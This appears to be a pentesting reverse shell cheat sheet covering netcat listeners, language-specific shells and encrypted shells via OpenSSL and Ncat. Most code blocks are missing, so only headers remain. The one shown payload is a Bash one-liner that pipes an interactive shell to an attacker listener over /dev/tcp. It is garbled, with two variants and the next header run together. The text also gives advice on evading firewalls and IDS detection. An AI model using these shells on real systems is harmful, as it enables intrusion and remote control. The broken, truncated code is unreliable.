Reverse Shells
At a Glance #
After the exploitation of a remote code execution (RCE) vulnerability, the next step will be to interact with the compromised target. Reverse shells, as opposed to bind shells, initiate the connection from the remote host to the local host. They are especially handy and, sometimes the only way, to get remote access across a NAT or firewall.
The chosen shell will depend on the binaries installed on the target system, although uploading a binary can be possible.12
Unencrypted Shells #
Netcat Listener #
To get the connection from the remote machine (10.0.0.3) and interact with it, a listener have to be set on the desired port (1234) on the local machine (10.0.0.1).
Note:
Use a port that is likely allowed via outbound firewall rules on the target network.
Ports from 1 to 1023 are by default privileged ports. To bind to a privileged port, a process must be running with root permissions.
Bash #
bash -i >& /dev/tcp/10.0.0.1/1234 0>&10<&196;exec 196<>/dev/tcp/10.0.0.1/1234; sh <&196 >&196 2>&196Awk #
Gawk #
PERL #
PERL Windows #
Python #
Python Windows #
PHP #
Ruby #
Ruby Windows #
Golang #
Java #
Groovy 3 #
Note: Java reverse shell also works for Groovy.
Lua #
Lua Windows #
NodeJS #
Netcat #
Depending on the Netcat version, the -e option may not be available, but you still can execute a command after connection being established by redirecting file descriptors. A FIFO or named pipe can be created locally so when a connection is established, /bin/sh gets executed and the shell prompt is given to the remote machine.4
Netcat Windows #
Telnet #
Note: A FIFO can be create both with mknod <path> p or mkfifo <path> .
Encrypted Shells #
During an engagement is imperative to encrypt the communication between the target and the attacker to protect sensitive data and from further activity analysis.
Although most of the tools listed below do not support certificate pinning, meaning they won’t protect you against a MITM attack, they can significantly reduce the risk of sniffing and IDS detection. 5
OpenSSL 6 #
Before starting the listener, a key pair and a certificate must be generated.
Listener #
Reverse Shell #
Ncat 7 #
Listener #
Reverse Shell #
“Reverse Shell Cheat Sheet | Pentestmonkey.” Pentestmonkey | Taking the Monkey Work out of Pentesting, http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet. ↩︎
swisskyrepo. “PayloadsAllTheThings/Reverse Shell Cheatsheet.Md at Master · Swisskyrepo/PayloadsAllTheThings · GitHub.” GitHub, https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md. ↩︎
Frohoff, Chris. “Pure Groovy/Java Reverse Shell .” Gist · GitHub, 262588213843476, https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76. ↩︎
“Nc.Openbsd.” Man Pages Archive - Manned.Org, https://manned.org/nc.openbsd/6f0a5cf9. ↩︎
“Certificate and Public Key Pinning Control.” OWASP Foundation | Open Source Foundation for Application Security, https://owasp.org/www-community/controls/Certificate_and_Public_Key_Pinning. ↩︎
OpenSSL Foundation, Inc. “/Docs/Manmaster/Man1/Openssl.Html.” OpenSSL.Org, https://www.openssl.org/docs/manmaster/man1/openssl.html. ↩︎
“Ncat Users’ Guide.” Nmap: The Network Mapper - Free Security Scanner, https://nmap.org/ncat/guide/index.html. ↩︎